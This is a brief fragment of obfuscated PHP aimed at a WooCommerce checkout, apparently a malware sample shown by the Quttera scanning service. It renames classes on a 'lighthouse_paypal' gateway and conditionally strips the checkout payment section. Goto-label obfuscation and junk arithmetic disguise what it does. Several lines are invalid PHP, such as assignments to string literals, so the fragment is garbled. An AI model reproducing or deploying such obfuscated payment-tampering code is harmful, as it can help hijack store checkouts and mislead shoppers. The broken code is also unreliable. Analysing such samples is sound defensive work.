U2yldMhxh;U2yeWjgxh:unset('WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway'=preg_replace('/class=["\']([^"\']*)["\']/','class="$1 lighthouse_paypal_bg"','WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway');goto U2yxg;U2yldMhxh:U2yxg:return 'WC_woocommerce_payments_lighthouse_paypal_gateway_Gateway';}function remove_checkout_pp_payment_fragment($fragments){$U2yBuEt38=array();$U2yBuEt38[]=18;$U2yBuEt38[]=7;$U2yBuEt38[]=6;$U2yBuEt38[]=10;$U2yBuEt38[]=8;$U2yOiRy9=5849;if(isset($fragments['.woocommerce-checkout-payment']))goto U2yeWjgxj;goto U2yldMhxj;U2yeWjgxj:$U2yOiRy9="a"*"r";goto U2yxi;U2yldMhxj:U2yxi:'100'=7*19;$U2y8H='100'-7;$U2y8I=$U2yOiRy9==$U2y8H;if($U2y8I)goto U2yeWjgxl;goto U2yldMhxl;U2yeWjgxl:unset($fragments['.woocommerce-checkout-payment']);goto U2yxk;U2yldMhxl:U2yxk:return $fragments;}
© 2023 Quttera Ltd. All rights reserved.